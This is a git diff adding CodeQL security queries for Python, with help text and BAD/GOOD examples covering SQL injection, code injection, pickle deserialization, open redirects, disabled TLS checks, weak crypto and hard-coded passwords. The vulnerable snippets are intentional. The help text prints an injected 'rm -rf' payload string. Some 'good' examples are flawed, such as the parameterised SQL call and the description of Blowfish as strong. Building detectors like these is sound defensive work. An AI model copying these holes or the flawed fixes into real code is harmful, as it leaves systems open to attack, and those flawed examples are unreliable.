    diff --git a/python/ql/src/Security/CWE-089/SqlInjection.ql b/python/ql/src/Security/CWE-089/SqlInjection.ql new file mode 100755 index 00000000000..35274729418 --- /dev/null +++ b/python/ql/src/Security/CWE-089/SqlInjection.ql @@ -0,0 +1,28 @@ +/** + * @name SQL query built from user-controlled sources + * @description Building a SQL query from user-controlled sources is vulnerable to insertion of + * malicious SQL code by the user. + * @kind path-problem + * @problem.severity error + * @precision high + * @id py/sql-injection + * @tags security + * external/cwe/cwe-089 + * external/owasp/owasp-a1 + */ + +import python +import semmle.python.security.Paths + +/* Sources */ +import semmle.python.web.HttpRequest + +/* Sinks */ +import semmle.python.security.injection.Sql +import semmle.python.web.django.Db +import semmle.python.web.django.Model + + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "This SQL query depends on $@.", src.getSource(), "a user-provided value" diff --git a/python/ql/src/Security/CWE-089/examples/sql_injection.py b/python/ql/src/Security/CWE-089/examples/sql_injection.py new file mode 100644 index 00000000000..541c580f712 --- /dev/null +++ b/python/ql/src/Security/CWE-089/examples/sql_injection.py @@ -0,0 +1,21 @@ + +from django.conf.urls import patterns, url +from django.db import connection + + +def save_name(request): + + if request.method == 'POST': + name = request.POST.get('name') + curs = connection.cursor() + #BAD -- Using string formatting + curs.execute( + "insert into names_file ('name') values ('%s')" % name) + #GOOD -- Using parameters + curs.execute( + "insert into names_file ('name') values ('%s')", name) + + +urlpatterns = patterns(url(r'^save_name/$', + upload, name='save_name')) + diff --git a/python/ql/src/Security/CWE-094/CodeInjection.qhelp b/python/ql/src/Security/CWE-094/CodeInjection.qhelp new file mode 100644 index 00000000000..8d7aab476a6 --- /dev/null +++ b/python/ql/src/Security/CWE-094/CodeInjection.qhelp @@ -0,0 +1,46 @@ + + + + +

    +Directly evaluating user input (for example, an HTTP request parameter) as code without properly +sanitizing the input first allows an attacker arbitrary code execution. This can occur when user +input is passed to code that interprets it as an expression to be +evaluated, such as eval or exec. +

    +
    + + +

    +Avoid including user input in any expression that may be dynamically evaluated. If user input must +be included, use context-specific escaping before including it. +It is important that the correct escaping is used for the type of evaluation that will occur. +

    +
    + + +

    +The following example shows two functions setting a name from a request. +The first function uses exec to execute the setname function. +This is dangerous as it can allow a malicious user to execute arbitrary code on the server. +For example, the user could supply the value "' + subprocess.call('rm -rf') + '" +to destroy the server's file system. +The second function calls the setname function directly and is thus safe. + +

    + + +
    + + +
  • +OWASP: +Code Injection. +
  • +
  • +Wikipedia: Code Injection. +
  • +
    +
    diff --git a/python/ql/src/Security/CWE-094/CodeInjection.ql b/python/ql/src/Security/CWE-094/CodeInjection.ql new file mode 100644 index 00000000000..2d511a5dae4 --- /dev/null +++ b/python/ql/src/Security/CWE-094/CodeInjection.ql @@ -0,0 +1,29 @@ +/** + * @name Code injection + * @description Interpreting unsanitized user input as code allows a malicious user arbitrary + * code execution. + * @kind path-problem + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/code-injection + * @tags security + * external/owasp/owasp-a1 + * external/cwe/cwe-094 + * external/cwe/cwe-079 + * external/cwe/cwe-116 + */ + +import python +import semmle.python.security.Paths + +/* Sources */ +import semmle.python.web.HttpRequest + +/* Sinks */ +import semmle.python.security.injection.Exec + + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "$@ flows to here and is interpreted as code.", src.getSource(), "User-provided value" diff --git a/python/ql/src/Security/CWE-094/examples/code_injection.py b/python/ql/src/Security/CWE-094/examples/code_injection.py new file mode 100644 index 00000000000..d70f9118ad5 --- /dev/null +++ b/python/ql/src/Security/CWE-094/examples/code_injection.py @@ -0,0 +1,18 @@ + +urlpatterns = [ + # Route to code_execution + url(r'^code-ex1$', code_execution_bad, name='code-execution-bad'), + url(r'^code-ex2$', code_execution_good, name='code-execution-good') +] + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #BAD -- Allow user to define code to be run. + exec("setname('%s')" % first_name) + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #GOOD --Call code directly + setname(first_name) diff --git a/python/ql/src/Security/CWE-209/StackTraceExposure.py b/python/ql/src/Security/CWE-209/StackTraceExposure.py new file mode 100644 index 00000000000..169dc091ddd --- /dev/null +++ b/python/ql/src/Security/CWE-209/StackTraceExposure.py @@ -0,0 +1,25 @@ +from flask import Flask +app = Flask(__name__) + + +import traceback + +def do_computation(): + raise Exception("Secret info") + +# BAD +@app.route('/bad') +def server_bad(): + try: + do_computation() + except Exception as e: + return traceback.format_exc() + +# GOOD +@app.route('/good') +def server_good(): + try: + do_computation() + except Exception as e: + log(traceback.format_exc()) + return "An internal error has occurred!" diff --git a/python/ql/src/Security/CWE-209/StackTraceExposure.qhelp b/python/ql/src/Security/CWE-209/StackTraceExposure.qhelp new file mode 100644 index 00000000000..86ecdbdc0d8 --- /dev/null +++ b/python/ql/src/Security/CWE-209/StackTraceExposure.qhelp @@ -0,0 +1,52 @@ + + + + +

    +Software developers often add stack traces to error messages, as a +debugging aid. Whenever that error message occurs for an end user, the +developer can use the stack trace to help identify how to fix the +problem. In particular, stack traces can tell the developer more about +the sequence of events that led to a failure, as opposed to merely the +final state of the software when the error occurred. +

    + +

    +Unfortunately, the same information can be useful to an attacker. +The sequence of class names in a stack trace can reveal the structure +of the application as well as any internal components it relies on. +Furthermore, the error message at the top of a stack trace can include +information such as server-side file names and SQL code that the +application relies on, allowing an attacker to fine-tune a subsequent +injection attack. +

    +
    + + +

    +Send the user a more generic error message that reveals less information. +Either suppress the stack trace entirely, or log it only on the server. +

    +
    + + +

    +In the following example, an exception is handled in two different +ways. In the first version, labeled BAD, the exception is sent back to +the remote user by returning it from the function. As such, +the user is able to see a detailed stack trace, which may contain +sensitive information. In the second version, the error message is +logged only on the server, and a generic error message is displayed to +the user. That way, the developers can still access and use the error +log, but remote users will not see the information. +

    + + +
    + + +
  • OWASP: Information Leak.
  • +
    +
    diff --git a/python/ql/src/Security/CWE-209/StackTraceExposure.ql b/python/ql/src/Security/CWE-209/StackTraceExposure.ql new file mode 100644 index 00000000000..4a1452655ed --- /dev/null +++ b/python/ql/src/Security/CWE-209/StackTraceExposure.ql @@ -0,0 +1,23 @@ +/** + * @name Information exposure through an exception + * @description Leaking information about an exception, such as messages and stack traces, to an + * external user can expose implementation details that are useful to an attacker for + * developing a subsequent exploit. + * @kind path-problem + * @problem.severity error + * @precision high + * @id py/stack-trace-exposure + * @tags security + * external/cwe/cwe-209 + * external/cwe/cwe-497 + */ + +import python +import semmle.python.security.Paths + +import semmle.python.security.Exceptions +import semmle.python.web.HttpResponse + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "$@ may be exposed to an external user", src.getSource(), "Error information" diff --git a/python/ql/src/Security/CWE-215/FlaskDebug.py b/python/ql/src/Security/CWE-215/FlaskDebug.py new file mode 100644 index 00000000000..683f99dcb55 --- /dev/null +++ b/python/ql/src/Security/CWE-215/FlaskDebug.py @@ -0,0 +1,9 @@ +from flask import Flask + +app = Flask(__name__) + +@app.route('/crash') +def main(): + raise Exception() + +app.run(debug=True) diff --git a/python/ql/src/Security/CWE-215/FlaskDebug.qhelp b/python/ql/src/Security/CWE-215/FlaskDebug.qhelp new file mode 100644 index 00000000000..b7069017138 --- /dev/null +++ b/python/ql/src/Security/CWE-215/FlaskDebug.qhelp @@ -0,0 +1,39 @@ + + + +

    + Running a Flask application with debug mode enabled may allow an + attacker to gain access through the Werkzeug debugger. +

    + +
    + + +

    + Ensure that Flask applications that are run in a production + environment have debugging disabled. +

    + +
    + + +

    + Running the following code starts a Flask webserver that has + debugging enabled. By visiting /crash, it is possible + to gain access to the debugger, and run arbitrary code through the + interactive debugger. +

    + + + +
    + + +
  • Flask Quickstart Documentation: Debug Mode.
  • +
  • Werkzeug Documentation: Debugging Applications.
  • +
    + +
    + diff --git a/python/ql/src/Security/CWE-215/FlaskDebug.ql b/python/ql/src/Security/CWE-215/FlaskDebug.ql new file mode 100644 index 00000000000..6886e419213 --- /dev/null +++ b/python/ql/src/Security/CWE-215/FlaskDebug.ql @@ -0,0 +1,23 @@ +/** + * @name Flask app is run in debug mode + * @description Running a Flask app in debug mode may allow an attacker to run arbitrary code through the Werkzeug debugger. + * @kind problem + * @problem.severity error + * @precision high + * @id py/flask-debug + * @tags security + * external/cwe/cwe-215 + * external/cwe/cwe-489 + */ + +import python + +import semmle.python.web.flask.General + + +from CallNode call, Object isTrue +where + call = theFlaskClass().declaredAttribute("run").(FunctionObject).getACall() and + call.getArgByName("debug").refersTo(isTrue) and + isTrue.booleanValue() = true +select call, "A Flask app appears to be run in debug mode. This may allow an attacker to run arbitrary code through the debugger." diff --git a/python/ql/src/Security/CWE-295/RequestWithoutValidation.qhelp b/python/ql/src/Security/CWE-295/RequestWithoutValidation.qhelp new file mode 100644 index 00000000000..b581c4f4a01 --- /dev/null +++ b/python/ql/src/Security/CWE-295/RequestWithoutValidation.qhelp @@ -0,0 +1,36 @@ + + + + +

    +Encryption is key to the security of most, if not all, online communication. +Using Transport Layer Security (TLS) can ensure that communication cannot be interrupted by an interloper. +For this reason, is is unwise to disable the verification that TLS provides. +Functions in the requests module provide verification by default, and it is only when +explicitly turned off using verify=False that no verification occurs. +

    +
    + + +

    +Never use verify=False when making a request. +

    +
    + + +

    +The example shows two unsafe calls to semmle.com, followed by various safe alternatives. +

    + + +
    + + +
  • +Python requests documentation: SSL Cert Verification. +
  • +
    +
    + diff --git a/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql b/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql new file mode 100644 index 00000000000..4413a986704 --- /dev/null +++ b/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql @@ -0,0 +1,36 @@ +/** + * @name Request without certificate validation + * @description Making a request without certificate validation can allow man-in-the-middle attacks. + * @kind problem + * @problem.severity error + * @precision medium + * @id py/request-without-cert-validation + * @tags security + * external/cwe/cwe-295 + */ + +import python + +import semmle.python.web.Http + + +FunctionObject requestFunction() { + exists(ModuleObject req | + req.getName() = "requests" and + result = req.getAttribute(httpVerbLower()) + ) +} + +/** requests treats None as the default and all other "falsey" values as False */ +predicate falseNotNone(Object o) { + o.booleanValue() = false and not o = theNoneObject() +} + +from CallNode call, FunctionObject func, Object falsey, ControlFlowNode origin +where +func = requestFunction() and +func.getACall() = call and +falseNotNone(falsey) and +call.getArgByName("verify").refersTo(falsey, origin) + +select call, "Call to $@ with verify=$@", func, "requests." + func.getName(), origin, "False" diff --git a/python/ql/src/Security/CWE-295/examples/make_request.py b/python/ql/src/Security/CWE-295/examples/make_request.py new file mode 100644 index 00000000000..ce2f11dcb33 --- /dev/null +++ b/python/ql/src/Security/CWE-295/examples/make_request.py @@ -0,0 +1,19 @@ +import requests + +#Unsafe requests + +requests.get('https://semmle.com', verify=False) # UNSAFE +requests.get('https://semmle.com', verify=0) # UNSAFE + +#Various safe options + +requests.get('https://semmle.com', verify=True) # Explicitly safe +requests.get('https://semmle.com', verify="/path/to/cert/") +requests.get('https://semmle.com') # The default is to verify. + +#Wrapper to ensure safety + +def make_safe_request(url, verify_cert): + if not verify_cert: + raise Exception("Trying to make unsafe request") + return requests.get(url, verify_cert) diff --git a/python/ql/src/Security/CWE-326/WeakCrypto.qhelp b/python/ql/src/Security/CWE-326/WeakCrypto.qhelp new file mode 100644 index 00000000000..8c6b578d12d --- /dev/null +++ b/python/ql/src/Security/CWE-326/WeakCrypto.qhelp @@ -0,0 +1,48 @@ + + + + +

    +Modern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. +As computational power increases, the ability to break ciphers grows and keys need to become larger. +

    +

    +The three main asymmetric key algorithms currently in use are Rivest–Shamir–Adleman (RSA) cryptography, Digital Signature Algorithm (DSA), and Elliptic-curve cryptography (ECC). +With current technology, key sizes of 2048 bits for RSA and DSA, +or 224 bits for ECC, are regarded as unbreakable. +

    +
    + + +

    +Increase the key size to the recommended amount or larger. For RSA or DSA this is at least 2048 bits, for ECC this is at least 224 bits. +

    +
    + + +
  • +Wikipedia: +Digital Signature Algorithm. +
  • +
  • +Wikipedia: +RSA cryptosystem. +
  • +
  • +Wikipedia: +Elliptic-curve cryptography. +
  • +
  • +Python cryptography module: +cryptography.io. +
  • +
  • +NIST: + +Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths. +
  • +
    +
    + diff --git a/python/ql/src/Security/CWE-326/WeakCrypto.ql b/python/ql/src/Security/CWE-326/WeakCrypto.ql new file mode 100644 index 00000000000..cd2937e1f00 --- /dev/null +++ b/python/ql/src/Security/CWE-326/WeakCrypto.ql @@ -0,0 +1,81 @@ +/** + * @name Use of weak cryptographic key + * @description Use of a cryptographic key that is too small may allow the encryption to be broken. + * @kind problem + * @problem.severity error + * @precision high + * @id py/weak-crypto-key + * @tags security + * external/cwe/cwe-326 + */ + +import python + +int minimumSecureKeySize(string algo) { + algo = "DSA" and result = 2048 + or + algo = "RSA" and result = 2048 + or + algo = "ECC" and result = 224 +} + +predicate dsaRsaKeySizeArg(FunctionObject obj, string algorithm, string arg) { + exists(ModuleObject mod | + mod.getAttribute(_) = obj | + algorithm = "DSA" and + ( + mod.getName() = "cryptography.hazmat.primitives.asymmetric.dsa" and arg = "key_size" + or + mod.getName() = "Crypto.PublicKey.DSA" and arg = "bits" + or + mod.getName() = "Cryptodome.PublicKey.DSA" and arg = "bits" + ) + or + algorithm = "RSA" and + ( + mod.getName() = "cryptography.hazmat.primitives.asymmetric.rsa" and arg = "key_size" + or + mod.getName() = "Crypto.PublicKey.RSA" and arg = "bits" + or + mod.getName() = "Cryptodome.PublicKey.RSA" and arg = "bits" + ) + ) +} + +predicate ecKeySizeArg(FunctionObject obj, string arg) { + exists(ModuleObject mod | + mod.getAttribute(_) = obj | + mod.getName() = "cryptography.hazmat.primitives.asymmetric.ec" and arg = "curve" + ) +} + +int keySizeFromCurve(ClassObject curveClass) { + result = curveClass.declaredAttribute("key_size").(NumericObject).intValue() +} + +predicate algorithmAndKeysizeForCall(CallNode call, string algorithm, int keySize, ControlFlowNode keyOrigin) { + exists(FunctionObject func, string argname, ControlFlowNode arg | + arg = func.getNamedArgumentForCall(call, argname) | + exists(NumericObject key | + arg.refersTo(key, keyOrigin) and + dsaRsaKeySizeArg(func, algorithm, argname) and + keySize = key.intValue() + ) + or + exists(ClassObject curve | + arg.refersTo(_, curve, keyOrigin) and + ecKeySizeArg(func, argname) and + algorithm = "ECC" and + keySize = keySizeFromCurve(curve) + ) + ) +} + + +from CallNode call, ControlFlowNode origin, string algo, int keySize +where + algorithmAndKeysizeForCall(call, algo, keySize, origin) and + keySize < minimumSecureKeySize(algo) +select call, "Creation of an " + algo + " key uses $@ bits, which is below " + minimumSecureKeySize(algo) + " and considered breakable.", origin, keySize.toString() + + diff --git a/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.qhelp b/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.qhelp new file mode 100644 index 00000000000..6cc787e52e4 --- /dev/null +++ b/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.qhelp @@ -0,0 +1,57 @@ + + + +

    + Using broken or weak cryptographic algorithms can leave data + vulnerable to being decrypted or forged by an attacker. +

    + +

    + Many cryptographic algorithms provided by cryptography + libraries are known to be weak, or flawed. Using such an + algorithm means that encrypted or hashed data is less + secure than it appears to be. +

    + +
    + + +

    + Ensure that you use a strong, modern cryptographic + algorithm. Use at least AES-128 or RSA-2048 for + encryption, and SHA-2 or SHA-3 for secure hashing. +

    + +
    + + +

    + The following code uses the pycrypto + library to encrypt some secret data. When you create a cipher using + pycrypto you must specify the encryption + algorithm to use. The first example uses DES, which is an + older algorithm that is now considered weak. The second + example uses Blowfish, which is a stronger more modern algorithm. +

    + + + +

    + WARNING: Although the second example above is more robust, + pycrypto is no longer actively maintained so we recommend using cryptography instead. +

    + +
    + + +
  • NIST, FIPS 140 Annex a: Approved Security Functions.
  • +
  • NIST, SP 800-131A: Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths.
  • +
  • OWASP: Rule + - Use strong approved cryptographic algorithms. +
  • +
    + +
    diff --git a/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql b/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql new file mode 100644 index 00000000000..e4dc7855f26 --- /dev/null +++ b/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql @@ -0,0 +1,18 @@ +/** + * @name Use of a broken or weak cryptographic algorithm + * @description Using broken or weak cryptographic algorithms can compromise security. + * @kind problem + * @problem.severity warning + * @precision high + * @id py/weak-cryptographic-algorithm + * @tags security + * external/cwe/cwe-327 + */ +import python +import semmle.python.security.SensitiveData +import semmle.python.security.Crypto + +from SensitiveDataSource src, WeakCryptoSink sink +where src.flowsToSink(sink) + +select sink, "Sensitive data from $@ is used in a broken or weak cryptographic algorithm.", src , src.toString() diff --git a/python/ql/src/Security/CWE-327/examples/broken_crypto.py b/python/ql/src/Security/CWE-327/examples/broken_crypto.py new file mode 100644 index 00000000000..ef9fc75e889 --- /dev/null +++ b/python/ql/src/Security/CWE-327/examples/broken_crypto.py @@ -0,0 +1,13 @@ +from Crypto.Cipher import DES, Blowfish + +cipher = DES.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # BAD: weak encryption + + +cipher = Blowfish.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # GOOD: strong encryption + diff --git a/python/ql/src/Security/CWE-502/JsonGood.py b/python/ql/src/Security/CWE-502/JsonGood.py new file mode 100644 index 00000000000..89947cb0e5c --- /dev/null +++ b/python/ql/src/Security/CWE-502/JsonGood.py @@ -0,0 +1,10 @@ + +from django.conf.urls import url +import json + +def safe(pickled): + return json.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', safe) +] diff --git a/python/ql/src/Security/CWE-502/UnpicklingBad.py b/python/ql/src/Security/CWE-502/UnpicklingBad.py new file mode 100644 index 00000000000..0f8112a28ae --- /dev/null +++ b/python/ql/src/Security/CWE-502/UnpicklingBad.py @@ -0,0 +1,10 @@ + +from django.conf.urls import url +import pickle + +def unsafe(pickled): + return pickle.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', unsafe) +] \ No newline at end of file diff --git a/python/ql/src/Security/CWE-502/UnsafeDeserialization.qhelp b/python/ql/src/Security/CWE-502/UnsafeDeserialization.qhelp new file mode 100644 index 00000000000..f298e62695f --- /dev/null +++ b/python/ql/src/Security/CWE-502/UnsafeDeserialization.qhelp @@ -0,0 +1,61 @@ + + + + +

    +Deserializing untrusted data using any deserialization framework that +allows the construction of arbitrary serializable objects is easily exploitable +and in many cases allows an attacker to execute arbitrary code. Even before a +deserialized object is returned to the caller of a deserialization method a lot +of code may have been executed, including static initializers, constructors, +and finalizers. Automatic deserialization of fields means that an attacker may +craft a nested combination of objects on which the executed initialization code +may have unforeseen effects, such as the execution of arbitrary code. +

    +

    +There are many different serialization frameworks. This query currently +supports Pickle, Marshal and Yaml. +

    +
    + + +

    +Avoid deserialization of untrusted data if at all possible. If the +architecture permits it then use other formats instead of serialized objects, +for example JSON. +

    +
    + + +

    +The following example calls pickle.loads directly on a +value provided by an incoming HTTP request. Pickle then creates a new value from untrusted data, and is +therefore inherently unsafe. +

    + + +

    +Changing the code to use json.loads instead of pickle.loads removes the vulnerability. +

    + + +
    + + + +
  • +OWASP vulnerability description: +Deserialization of untrusted data. +
  • +
  • +OWASP guidance on deserializing objects: +Deserialization Cheat Sheet. +
  • +
  • +Talks by Chris Frohoff & Gabriel Lawrence: + +AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day +
  • +
    + +
    diff --git a/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql b/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql new file mode 100644 index 00000000000..fa48c63db9d --- /dev/null +++ b/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql @@ -0,0 +1,30 @@ +/** + * @name Deserializing untrusted input + * @description Deserializing user-controlled data may allow attackers to execute arbitrary code. + * @kind path-problem + * @id py/unsafe-deserialization + * @problem.severity error + * @sub-severity high + * @precision high + * @tags external/cwe/cwe-502 + * security + * serialization + */ +import python + +// Sources -- Any untrusted input +import semmle.python.web.HttpRequest +import semmle.python.security.Paths + +// Flow -- untrusted string +import semmle.python.security.strings.Untrusted + +// Sink -- Unpickling and other deserialization formats. +import semmle.python.security.injection.Pickle +import semmle.python.security.injection.Marshal +import semmle.python.security.injection.Yaml + + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "Deserializing of $@.", src.getSource(), "untrusted input" diff --git a/python/ql/src/Security/CWE-601/UrlRedirect.qhelp b/python/ql/src/Security/CWE-601/UrlRedirect.qhelp new file mode 100644 index 00000000000..c2e053f030b --- /dev/null +++ b/python/ql/src/Security/CWE-601/UrlRedirect.qhelp @@ -0,0 +1,42 @@ + + + + +

    +Directly incorporating user input into a URL redirect request without validating the input +can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a +malicious site that looks very similar to the real site they intend to visit, but which is +controlled by the attacker. +

    +
    + + +

    +To guard against untrusted URL redirection, it is advisable to avoid putting user input +directly into a redirect URL. Instead, maintain a list of authorized +redirects on the server; then choose from that list based on the user input provided. +

    +
    + + +

    +The following example shows an HTTP request parameter being used directly in a URL redirect +without validating the input, which facilitates phishing attacks: +

    + + + +

    +One way to remedy the problem is to validate the user input against a known fixed string +before doing the redirection: +

    + + +
    + + +
  • OWASP: + XSS Unvalidated Redirects and Forwards Cheat Sheet.
  • +
    + +
    diff --git a/python/ql/src/Security/CWE-601/UrlRedirect.ql b/python/ql/src/Security/CWE-601/UrlRedirect.ql new file mode 100644 index 00000000000..4734c540bc3 --- /dev/null +++ b/python/ql/src/Security/CWE-601/UrlRedirect.ql @@ -0,0 +1,34 @@ +/** + * @name URL redirection from remote source + * @description URL redirection based on unvalidated user input + * may cause redirection to malicious web sites. + * @kind path-problem + * @problem.severity error + * @sub-severity low + * @id py/url-redirection + * @tags security + * external/cwe/cwe-601 + * @precision high + */ + +import python +import semmle.python.security.Paths + +import semmle.python.web.HttpRedirect +import semmle.python.web.HttpRequest +import semmle.python.security.strings.Untrusted + +/** Url redirection is a problem only if the user controls the prefix of the URL */ +class UntrustedPrefixStringKind extends UntrustedStringKind { + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + result = UntrustedStringKind.super.getTaintForFlowStep(fromnode, tonode) and + not tonode.(BinaryExprNode).getRight() = fromnode + } + +} + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "Untrusted URL redirection due to $@.", src.getSource(), "a user-provided value" + diff --git a/python/ql/src/Security/CWE-601/examples/redirect_bad.py b/python/ql/src/Security/CWE-601/examples/redirect_bad.py new file mode 100644 index 00000000000..161edd70ec3 --- /dev/null +++ b/python/ql/src/Security/CWE-601/examples/redirect_bad.py @@ -0,0 +1,8 @@ +from flask import Flask, request, redirect + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = files = request.args.get('target', '') + return redirect(target, code=302) diff --git a/python/ql/src/Security/CWE-601/examples/redirect_good.py b/python/ql/src/Security/CWE-601/examples/redirect_good.py new file mode 100644 index 00000000000..c93b0f98a00 --- /dev/null +++ b/python/ql/src/Security/CWE-601/examples/redirect_good.py @@ -0,0 +1,13 @@ +from flask import Flask, request, redirect + +VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html" + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = files = request.args.get('target', '') + if target == VALID_REDIRECT: + return redirect(target, code=302) + else: + ... # Error diff --git a/python/ql/src/Security/CWE-798/HardcodedCredentials.py b/python/ql/src/Security/CWE-798/HardcodedCredentials.py new file mode 100644 index 00000000000..6eb54c567f8 --- /dev/null +++ b/python/ql/src/Security/CWE-798/HardcodedCredentials.py @@ -0,0 +1,19 @@ +import hashlib +import binascii + +def process_request(request): + password = request.GET["password"] + + # BAD: Inbound authentication made by comparison to string literal + if password == "myPa55word": + redirect("login") + + hashed_password = load_from_config('hashed_password', CONFIG_FILE) + salt = load_from_config('salt', CONFIG_FILE) + + #GOOD: Inbound authentication made by comparing to a hash password from a config file. + dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) + hashed_input = binascii.hexlify(dk) + if hashed_input == hashed_password: + redirect("login") + diff --git a/python/ql/src/Security/CWE-798/HardcodedCredentials.qhelp b/python/ql/src/Security/CWE-798/HardcodedCredentials.qhelp new file mode 100644 index 00000000000..df7d81792b6 --- /dev/null +++ b/python/ql/src/Security/CWE-798/HardcodedCredentials.qhelp @@ -0,0 +1,82 @@ + + + + +

    +Including unencrypted hard-coded inbound or outbound authentication credentials within source code +or configuration files is dangerous because the credentials may be easily discovered. +

    +

    +Source or configuration files containing hard-coded credentials may be visible to an attacker. For +example, the source code may be open source, or it may be leaked or accidentally revealed. +

    +

    +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This +is particularly problematic if the credential is hard-coded in the source code, because it cannot be +disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with +privileged information or unauthorized access to some other system. +

    + +
    + + +

    +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, +placing them in configuration files or other data stores if necessary. If possible, store +configuration files including credential data separately from the source code, in a secure location +with restricted access. +

    + +

    +For outbound authentication details, consider encrypting the credentials or the enclosing data +stores or configuration files, and using permissions to restrict access. +

    + +

    +For inbound authentication details, consider hashing passwords using standard library functions +where possible. For example, hashlib.pbkdf2_hmac. +

    + +
    + + +

    +The following examples shows different types of inbound and outbound authentication. +

    + +

    +In the first case, we accept a password from a remote user, and compare it against a plaintext +string literal. If an attacker acquires the source code they can observe +the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the +application would need to be rewritten and redeployed in order to change the password. +

    + +

    +In the second case, the password is compared to a hashed and salted password stored in a +configuration file, using hashlib.pbkdf2_hmac. +In this case, access to the source code or the assembly would not reveal the password to an +attacker. Even access to the configuration file containing the password hash and salt would be of +little value to an attacker, as it is usually extremely difficult to reverse engineer the password +from the hash and salt. +

    + +

    +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to +the source code, they will be able to observe the new password. +

    + + + +
    + + +
  • +OWASP: +XSS +Use of hard-coded password. +
  • + +
    +
    diff --git a/python/ql/src/Security/CWE-798/HardcodedCredentials.ql b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql new file mode 100644 index 00000000000..72f45f204ef --- /dev/null +++ b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -0,0 +1,143 @@ +/** + * @name Hard-coded credentials + * @description Credentials are hard coded in the source code of the application. + * @kind problem + * @problem.severity error + * @precision medium + * @id py/hardcoded-credentials + * @tags security + * external/cwe/cwe-259 + * external/cwe/cwe-321 + * external/cwe/cwe-798 + */ + +import semmle.python.security.TaintTracking +import semmle.python.filters.Tests + +class HardcodedValue extends TaintKind { + + HardcodedValue() { + this = "hard coded value" + } + +} + +bindingset[char, fraction] +predicate fewer_characters_than(StrConst str, string char, float fraction) { + exists(string text, int chars | + text = str.getText() and + chars = count(int i | text.charAt(i) = char) | + /* Allow one character */ + chars = 1 or + chars < text.length() * fraction + ) +} + +predicate possible_reflective_name(string name) { + exists(any(ModuleObject m).getAttribute(name)) + or + exists(any(ClassObject c).lookupAttribute(name)) + or + any(ClassObject c).getName() = name + or + any(ModuleObject m).getName() = name + or + exists(builtin_object(name)) +} + +int char_count(StrConst str) { + result = count(string c | c = str.getText().charAt(_)) +} + +predicate capitalized_word(StrConst str) { + str.getText().regexpMatch("[A-Z][a-z]+") +} + +predicate maybeCredential(ControlFlowNode f) { + /* A string that is not too short and unlikely to be text or an identifier. */ + exists(StrConst str | + str = f.getNode() | + /* At least 10 characters */ + str.getText().length() > 9 and + /* Not too much whitespace */ + fewer_characters_than(str, " ", 0.05) and + /* or underscores */ + fewer_characters_than(str, "_", 0.2) and + /* Not too repetitive */ + exists(int chars | + chars = char_count(str) | + chars > 20 or + chars > str.getText().length()/2 + ) and + not possible_reflective_name(str.getText()) and + not capitalized_word(str) + ) + or + /* Or, an integer with at least 8 digits */ + exists(IntegerLiteral lit | + f.getNode() = lit + | + not exists(lit.getValue()) + or + lit.getValue() > 10000000 + ) +} + +class HardcodedValueSource extends TaintSource { + + HardcodedValueSource() { + maybeCredential(this) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof HardcodedValue + } + +} + +class CredentialSink extends TaintSink { + + CredentialSink() { + exists(string name | + name.regexpMatch(getACredentialRegex()) and + not name.suffix(name.length()-4) = "file" + | + any(FunctionObject func).getNamedArgumentForCall(_, name) = this + or + exists(Keyword k | + k.getArg() = name and k.getValue().getAFlowNode() = this + ) + or + exists(CompareNode cmp, NameNode n | + n.getId() = name + | + cmp.operands(this, any(Eq eq), n) + or + cmp.operands(n, any(Eq eq), this) + ) + ) + } + + + override predicate sinks(TaintKind kind) { + kind instanceof HardcodedValue + } + +} + +/** + * Gets a regular expression for matching names of locations (variables, parameters, keys) that + * indicate the value being held is a credential. + */ +private string getACredentialRegex() { + result = "(?i).*pass(wd|word|code|phrase)(?!.*question).*" or + result = "(?i).*(puid|username|userid).*" or + result = "(?i).*(cert)(?!.*(format|name)).*" +} + +from TaintSource src, TaintSink sink + +where src.flowsToSink(sink) and +not any(TestScope test).contains(src.(ControlFlowNode).getNode()) + +select sink, "Use of hardcoded credentials from $@.", src, src.toString() diff --git a/python/ql/src/Statements/AssertLiteralConstant.py 